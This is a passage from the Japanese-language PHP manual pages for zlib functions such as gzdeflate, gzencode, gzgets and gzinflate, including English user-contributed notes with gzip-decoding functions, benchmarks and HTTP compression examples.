        $extralen = $extralen[1];
        if ($len - $headerlen - 2 - $extralen < 8) {
            return false;  // invalid
        }
        $extra = substr($data,10,$extralen);
        $headerlen += 2 + $extralen;
    }
    $filenamelen = 0;
    $filename = "";
    if ($flags & 8) {
        // C-style string
        if ($len - $headerlen - 1 < 8) {
            return false; // invalid
        }
        $filenamelen = strpos(substr($data,$headerlen),chr(0));
        if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
            return false; // invalid
        }
        $filename = substr($data,$headerlen,$filenamelen);
        $headerlen += $filenamelen + 1;
    }
    $commentlen = 0;
    $comment = "";
    if ($flags & 16) {
        // C-style string COMMENT data in header
        if ($len - $headerlen - 1 < 8) {
            return false;    // invalid
        }
        $commentlen = strpos(substr($data,$headerlen),chr(0));
        if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
            return false;    // Invalid header format
        }
        $comment = substr($data,$headerlen,$commentlen);
        $headerlen += $commentlen + 1;
    }
    $headercrc = "";
    if ($flags & 2) {
        // 2-bytes (lowest order) of CRC32 on header present
        if ($len - $headerlen - 2 < 8) {
            return false;    // invalid
        }
        $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
        $headercrc = unpack("v", substr($data,$headerlen,2));
        $headercrc = $headercrc[1];
        if ($headercrc != $calccrc) {
            $error = "Header checksum failed.";
            return false;    // Bad header CRC
        }
        $headerlen += 2;
    }
    // GZIP FOOTER
    $datacrc = unpack("V",substr($data,-8,4));
    $datacrc = sprintf('%u',$datacrc[1] & 0xFFFFFFFF);
    $isize = unpack("V",substr($data,-4));
    $isize = $isize[1];
    // decompression:
    $bodylen = $len-$headerlen-8;
    if ($bodylen < 1) {
        // IMPLEMENTATION BUG!
        return null;
    }
    $body = substr($data,$headerlen,$bodylen);
    $data = "";
    if ($bodylen > 0) {
        switch ($method) {
        case 8:
            // Currently the only supported compression method:
            $data = gzinflate($body,$maxlength);
            break;
        default:
            $error = "Unknown compression method.";
            return false;
        }
    }  // zero-byte body content is allowed
    // Verifiy CRC32
    $crc   = sprintf("%u",crc32($data));
    $crcOK = $crc == $datacrc;
    $lenOK = $isize == strlen($data);
    if (!$lenOK || !$crcOK) {
        $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');
        return false;
    }
    return $data;
}
?>
katzlbtjunk at hotmail dot com 30-Apr-2008 01:51
Aaron G. 07-Aug-2004 03:29 posted the function gzdecode()
to gzencode comments. I FIXED the BUG: if($flags & 1) to the correct if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC so I did not notice until I tried to upload a file compressed with gzip itself.

<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 2) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>


文字列を deflate 圧縮する

  • ≪ gzdecode
  • gzencode ≫
  • PHP Manual
  • Zlib 関数
  • 文字列を deflate 圧縮する

gzdeflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzdeflate — 文字列を deflate 圧縮する

説明

gzdeflate ( string $data , int $level = -1 , int $encoding = ZLIB_ENCODING_RAW ) : string|false

この関数は、DEFLATE データフォーマットを用いて 与えられた文字列を圧縮します。

DEFLATE 圧縮アルゴリズムについての詳細は、 "» DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951) を参照ください。

パラメータ

data

収縮させるデータ

level

圧縮レベル。圧縮しない場合に0、最大限の圧縮をする場合に9を指定可能です。 指定しない場合、デフォルトの圧縮レベルは zlib ライブラリのデフォルト圧縮レベルになります。

encoding

定数 ZLIB_ENCODING_* のいずれか。

返り値

収縮された文字列、もしくはエラーの場合 false 。

例

例1 gzdeflate() の例

<?php
$compressed = gzdeflate('Compress me', 9);
echo $compressed;
?>

参考

  • gzinflate() - deflate圧縮された文字列を解凍する
  • gzcompress() - 文字列を圧縮する
  • gzuncompress() - 圧縮された文字列を解凍する
  • gzencode() - gzip 圧縮された文字列を作成する

User Contributed Notes

HUjuice 05-Jan-2016 05:23
The HTTP deflate is quite complicated.
The RFC7230, Sec 4.2.2 (https://tools.ietf.org/html/rfc7230#section-4.2.2) says:
≪The "deflate" coding is a "zlib" data format [RFC1950] containing a "deflate" compressed data stream [RFC1951] that uses a combination of the Lempel-Ziv (LZ77) compression algorithm and Huffman coding.≫
and, also:
≪Note: Some non-conformant implementations send the "deflate" compressed data without the zlib wrapper.≫

Since this function implements the RFC1951, the compliant encoding of a $payload should be:

gzcompress(gzdeflate($payload));
banditsmile at qq dot com 19-Dec-2014 08:49
start from php5.4.0 gzdeflate has the fastest speed and best zip rate.
http://3v4l.org/K2XAf
bzbzh 12-Dec-2014 01:21
The "One of ZLIB_ENCODING_* constants." seems to be available only from PHP 5.4.

So I guess that is you are PHP 5.3 you don't use the $encoding parameter...
stockton at wowway dot com 29-Jun-2013 03:30
After some searching and experimentation I found that the output from this function cannot be 'inflated' with the objective c 'zlibInflate' wrapper for 'zlib' that is available at http://cocoadev.com/wiki/NSDataCategory but the output from gzcompress() can be. Thank you "anonymous at php dot net" and "tomas at slax dot org" for the clues. I hope this saves someone else the searching.
robin 26-Feb-2010 05:46
running 50000 repetitions on various content, i found that gzdeflate() and gzcompress() both performed equally fast regardless content and compression level, but gzinflate() was always about twice as fast as gzuncompress().
anonymous at php dot net 04-Jun-2009 05:20
gzcompress produces longer data because it embeds information about the encoding onto the string. If you are compressing data that will only ever be handled on one machine, then you don't need to worry about which of these functions you use. However, if you are passing data compressed with these functions to a different machine you should use gzcompress.
tomas at slax dot org 03-Oct-2008 05:13
gzcompress() is the same like gzdefflate(), it produces identical data and its speed is the same as well. The only difference is that gzcompress produces 6 bytes bigger result (2 extra bytes at the beginning and 4 extra bytes at the end).
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 05:22
Take care that that "PHP deflate" != "HTTP deflate".

The deflate encoding used in HTTP is actually zlib encoded.

This is what PHP functions return:
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding
denis dot noessler at red-at dot de 17-Jun-2003 03:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);


gzip 圧縮された文字列を作成する

  • ≪ gzdeflate
  • gzeof ≫
  • PHP Manual
  • Zlib 関数
  • gzip 圧縮された文字列を作成する

gzencode

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzencode — gzip 圧縮された文字列を作成する

説明

gzencode ( string $data , int $level = -1 , int $encoding = ZLIB_ENCODING_GZIP ) : string|false

この関数は、入力 dataを gzip プログラムの出力と互換性のある形式で圧縮 して返します。

GZIPファイルフォーマットに関する詳細な情報については、次のドキュ メントを参照ください。 » GZIP file format specification version 4.3 (RFC 1952)

パラメータ

data

エンコードするデータを指定します

level

圧縮レベルを指定します。 圧縮をしない場合に 0、最大限の圧縮を行う場合に9を指定可能です。 指定されない場合のデフォルト圧縮レベルは、 zlib ライブラリのデフォルト圧縮レベルになります。

encoding

エンコーディングモードを指定します。 FORCE_GZIP (デフォルト) もしくは FORCE_DEFLATE を指定可能です。

PHP 5.4.0 より前のバージョンでは、FORCE_DEFLATE を使うと、gzip ファイルヘッダに続けて標準的な zlib 圧縮文字列 (zlib ヘッダ込み) を出力していました。しかし、その後の crc32 チェックサムはありませんでした。

PHP 5.4.0 以降は、FORCE_DEFLATE が RFC 1950 準拠の出力を生成するようになりました。zlib ヘッダ、圧縮したデータ、 そして Adler チェックサムとなります。

返り値

エンコードされた文字列、もしくはエラー発生時に false

例

結果データは標準的な .gz ファイルを構成するための適当なヘッダとデータ構造を含みます。

例1 gzip ファイルの生成

<?php
$data = implode("", file("bigfile.txt"));
$gzdata = gzencode($data, 9);
$fp = fopen("bigfile.txt.gz", "w");
fwrite($fp, $gzdata);
fclose($fp);
?>

参考

  • gzdecode() - gzip 圧縮された文字列をデコードする
  • gzdeflate() - 文字列を deflate 圧縮する
  • gzinflate() - deflate圧縮された文字列を解凍する
  • gzuncompress() - 圧縮された文字列を解凍する
  • gzcompress() - 文字列を圧縮する
  • » ZLIB Compressed Data Format Specification (RFC 1950)

User Contributed Notes

pang dot lab at gmail dot com 06-Jul-2020 08:44
* Compressing file

function compressFile(string $filePath): ?string
{
    $compressedFile = $filePath.".gz";
    $data     = implode(",", file($filePath));
    $gzdata   = gzencode($data, 9);
    $fp       = fopen($compressedFile, "w");
    $successWrite = fwrite($fp, $gzdata);
    fclose($fp);
    if($successWrite === false) {
        return null;
    }

    return $compressedFile;
}
geompse at gmail dot com 22-Aug-2011 03:24
Had some trouble finding the correct way to send a Content-Length header with HTTP compression.
The pitch is to use gzencode (not gzdeflaten not gzcompress).

<?php

// disable ZLIB ouput compression
ini_set('zlib.output_compression','Off');

// compress data
$gzipoutput = gzencode($output,6);

// various headers, those with # are mandatory
header('Content-Type: application/x-download');
header('Content-Encoding: gzip'); #
header('Content-Length: '.strlen($gzipoutput)); #
header('Content-Disposition: attachment; filename="myfile.name"');
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Pragma: no-cache');

// output data
echo $gzipoutput;

?>
Sam Dowling 06-Jul-2011 07:30
this is a benchmark test of gzencode (.txt file)
----------------------------------------------
original file size = 3.29 MB (3,459,978 bytes)
compress lvl 1 = 1.09 MB (1,144,006 bytes)
compress lvl 2 = 1.06 MB (1,119,518 bytes)
compress lvl 3 = 1.03 MB (1,085,567 bytes)
compress lvl 4 = 953 KB (976,538 bytes)
compress lvl 5 = 909 KB (931,486 bytes)
compress lvl 6 = 910 KB (932,516 bytes)
compress lvl 7 = 910 KB (932,608 bytes)
compress lvl 8 = 910 KB (932,646 bytes)
compress lvl 9 = 910 KB (932,652 bytes)
----------------------------------------------
getmequick at dot com 23-Jan-2009 12:29
NOTE:

doing like this and so on

<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>

(complete file reading)

may cause memory overflow (Fatal error: Allowed memory size of ..), so it's better to read by parts/bytes.
katzlbtjunk at hotmail dot com 30-Apr-2008 01:58
Aaron G. 07-Aug-2004 03:29 posted the excellent function gzdecode() (SEE BELOW)
BUGFIX: Change: if($flags & 1) to ... if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC! So the previous version worked with output of gzencode but not with output of the gzip program itself.
gazj at nukemodified dot com 14-Apr-2008 05:47
here is my clean up of supaplex %at% pcbkits %d0t% c0m
submission above.

function alt_gzdecode($gzdatadecode) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";
  if(file_exists($eh)){

  $gzf=fopen($eh,"w");
  fwrite($gzf,$gzdatadecode);
  fclose($gzf);

  $gzf = gzopen ($eh, "r");
  $gzdatadecode=gzpassthru($gzf);
  unlink($eh);

  return $gzdatadecode;
  }else{
  return 'File '.$eh.' was not found.';
  }
}
cbrunon at free dot fr 03-Aug-2006 06:52
Correct is:
<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>
tychay at alumni dot caltech dot edu 03-Apr-2002 02:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch 14-Feb-2002 06:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Pl?tz
Gr??e aus Berlin
mm.. oops? - amendum (yes, tested hehe.) 09-Sep-2001 12:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
    $s=gzread($fd,10240);
    if ("$s" == "") {
      break;
    }
    $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m > 08-Sep-2001 11:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!


gz ファイルポインタが EOF かどうか調べる

  • ≪ gzencode
  • gzfile ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルポインタが EOF かどうか調べる

gzeof

(PHP 4, PHP 5, PHP 7, PHP 8)

gzeof — gz ファイルポインタが EOF かどうか調べる

説明

gzeof ( resource $stream ) : bool

与えられた GZ ファイルポインタが EOF (ファイル終端) を指すかどうかを調べます。

パラメータ

stream

gzファイルポインタは、有効なファイルポインタであり、かつ、 gzopen()によりオープンできたファイルを指している 必要があります。

返り値

gz ファイルポインタが EOF を指す、もしくはエラーが発生した場合 true、 そうでなければ false を返します。

例

例1 gzeof() の例

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

User Contributed Notes

Anonymous 11-Nov-2013 11:37
<?php
#fixed example
$gz = gzopen('somefile.gz', 'r');
while ($gz && !gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>
thomas at poindessous dot com 21-Jun-2007 01:44
Be careful with this example. if gzopen doesn't return a valid handler, gzeof will do a nice loop.


gzファイル全体を配列に読み込む

  • ≪ gzeof
  • gzgetc ≫
  • PHP Manual
  • Zlib 関数
  • gzファイル全体を配列に読み込む

gzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

gzfile — gzファイル全体を配列に読み込む

説明

gzfile ( string $filename , int $use_include_path = 0 ) : array|false

ファイルを配列にして返すこと以外は readgzfile() と同じです。

パラメータ

filename

ファイル名を指定します。

use_include_path

もし include_path にあるファイルも検索したい場合、 このオプションパラメータに 1 を設定することができます。

返り値

ファイルを含む配列で、要素毎に 1 行ずつ含んでいます。空行も含み、改行もついた状態です。 失敗した場合に false を返します

例

例1 gzfile() の例

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
    echo $line;
}
?>

参考

  • readgzfile() - gz ファイルを出力する
  • gzopen() - gz ファイルを開く

User Contributed Notes

jani at php dot net 21-Nov-2008 10:11
This function is not binary safe. (intentionally, or not, that's the question :)
nb_nonospamm_ at wtal dot de 27-Nov-2005 04:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi 28-Jun-2005 06:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
    //File does not exist
    if( !@file_exists($filename) )
    {    return false;    }

    //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de 13-Jan-2004 11:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
    $file = @gzopen($filename, 'rb', $use_include_path);
    if ($file) {
        $data = '';
        while (!gzeof($file)) {
            $data .= gzread($file, 1024);
        }
        gzclose($file);
    }
    return $data;
}
?>


gz ファイルへのポインタから文字を得る

  • ≪ gzfile
  • gzgets ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルへのポインタから文字を得る

gzgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgetc — gz ファイルへのポインタから文字を得る

説明

gzgetc ( resource $stream ) : string|false

与えられた gz ファイルポインタから (非圧縮の) 1 文字を読み込み、これを含む 文字列を返します。

パラメータ

stream

gz ファイルポインタを指定します。 これは有効なファイルポインタであり、かつ、 gzopen() によりオープンできたファイルを指している必要があります。

返り値

非圧縮の文字列、もしくは EOF (gzeof() とは異なる) の場合に false を返します。

例

例1 gzgetc() の例

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

参考

  • gzopen() - gz ファイルを開く
  • gzgets() - ファイルポインタから 1 行を得る

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタから 1 行を得る

  • ≪ gzgetc
  • gzgetss ≫
  • PHP Manual
  • Zlib 関数
  • ファイルポインタから 1 行を得る

gzgets

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgets — ファイルポインタから 1 行を得る

説明

gzgets ( resource $stream , int|null $length = null ) : string|false

与えられたファイルポインタから最大 length - 1 バイトの文字を読み込み、 これを含む (非圧縮の) 文字列を返します。 length - 1 バイトを読み込むか、改行または EOF になった場合、 (どれかが最初にきた時点で) 読み込みを終了します。

パラメータ

stream

gz ファイルポインタを指定します。 これは有効なファイルポインタであり、かつ、 gzopen() によりオープンできたファイルを指している必要があります。

length

取得するデータ長を指定します。

返り値

非圧縮の文字列、もしくはエラー時に false

変更履歴

バージョン | 説明
8.0.0 | length は、nullable になりました。 これより前のバージョンでは、 デフォルトは 1024 でした。

例

例1 gzgets() の例

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgets($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

参考

  • gzopen() - gz ファイルを開く
  • gzgetc() - gz ファイルへのポインタから文字を得る
  • gzwrite() - バイナリセーフな gz ファイル書き込み

User Contributed Notes

divinity76 at gmail dot com 30-Aug-2019 10:49
PS when it encounters and breaks on a newline byte ("\n"), the newline byte itself is not included in the returned string.
04-Aug-2005 11:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com 10-Aug-2002 05:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
    $buff1 = gzgets ($zp, 4096) ;
    fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>


gzファイルへのポインタから1行を得て、HTMLタグを取り除く

  • ≪ gzgets
  • gzinflate ≫
  • PHP Manual
  • Zlib 関数
  • gzファイルへのポインタから1行を得て、HTMLタグを取り除く

gzgetss

(PHP 4, PHP 5, PHP 7)

gzgetss — gzファイルへのポインタから1行を得て、HTMLタグを取り除く

警告

この関数は PHP 7.3.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

gzgetss ( resource $zp , int $length , string $allowable_tags = ? ) : string

gzgetss()は読み込んだテキストから HTML および PHP タグを全て取り除こうとすることを除いて、 gzgets()と同じです。

パラメータ

zp

gz ファイルポインタを指定します。 これは有効なファイルポインタであり、かつ、 gzopen() によりオープンできたファイルを指している必要があります。

length

取得するデータ長を指定します。

allowable_tags

このオプションパラメータにより、 取り除かないタグを指定することができます。

返り値

非圧縮かつタグが取り除かれた文字列、もしくはエラー時に false

例

例1 gzgetss() の例

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgetss($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

参考

  • gzopen() - gz ファイルを開く
  • gzgets() - ファイルポインタから 1 行を得る
  • strip_tags() - 文字列から HTML および PHP タグを取り除く

User Contributed Notes

There are no user contributed notes for this page.


deflate圧縮された文字列を解凍する

  • ≪ gzgetss
  • gzopen ≫
  • PHP Manual
  • Zlib 関数
  • deflate圧縮された文字列を解凍する

gzinflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzinflate — deflate圧縮された文字列を解凍する

説明

gzinflate ( string $data , int $max_length = 0 ) : string|false

この関数は収縮された文字列を伸長します。

パラメータ

data

gzdeflate() により圧縮されたデータを指定します

max_length

デコードする最大データ長を指定します

返り値

オリジナルの無圧縮なデータ、もしくはエラー時に false

この関数は、もし無圧縮なデータが圧縮された入力 data の 32768 倍、もしくはオプションのパラメータ max_length 以上の場合、エラーを返します。

例

例1 gzinflate() の例

<?php
$compressed   = gzdeflate('Compress me', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

参考

  • gzdeflate() - 文字列を deflate 圧縮する
  • gzcompress() - 文字列を圧縮する
  • gzuncompress() - 圧縮された文字列を解凍する
  • gzencode() - gzip 圧縮された文字列を作成する

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:34
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
felix dot klee at inka dot de 27-Feb-2013 10:38
The code below illustrates usage of the second parameter, in particular to protect against fatal out-of-memory errors. It outputs:

1000000
1000000
error

Tested with PHP 5.3 on 32bit Linux.

<?php

function tryToGzinflate($deflatedData, $maxLen = 0) {
  $data = gzinflate($deflatedData, $maxLen);
  if ($data === false)
    echo 'error<br>';
  else
    echo strlen($data).'<br>';
}

// random data:
$data = '';
for ($i = 0; $i < 1000000; $i++)
  $data .= chr(mt_rand(97, 122)); // a-z

$deflatedData = gzdeflate($data);

ini_set('memory_limit', '5M'); // plenty of memory
tryToGzinflate($deflatedData);
tryToGzinflate($deflatedData, strlen($data));

ini_set('memory_limit', '100'); // little memory
tryToGzinflate($deflatedData, 100);
tryToGzinflate($deflatedData); // causes fatal out-of-memory error
?>
akniep at rayo dot info 11-Dec-2012 03:11
Take care when using the optional second parameter $length!
In our tests -at least in certain situations- we were unable to determine the actual use of this parameter, plus, it lead to the script either being unable to inflate compressed data or crash due to memory-problems.

Example:
When trying to inflate the compressed data from a website, we were literally unable to find a value (other than 0) for $length in order to make gzinflate work... while without the second parameter (or setting it to 0) gzinflate worked like a charm:

<?php
// -----------------------------------------------------------------------
// Test 1 works without problems. Memory peak usage: Before inflating: 24.787 kB; after: 24.844 kB.
gzinflate( substr($deflated_body, 10) );

// -----------------------------------------------------------------------
// ALL three of the following tests failed with a warning. Memory peak usage: Before inflating: 24.787 kB; after: 298.262 kB.
gzinflate( substr($deflated_body, 10),       200 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     32768 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     11000 );
gzinflate( substr($deflated_body, 10), 280000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Warning:  gzinflate() [function.gzinflate]: insufficient memory in [...]

// -----------------------------------------------------------------------
// The last test failed with a fatal error. Memory peak usage: Before inflating: 24.787 kB; after: ? (> 300M).
gzinflate( substr($deflated_body, 10), 300000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
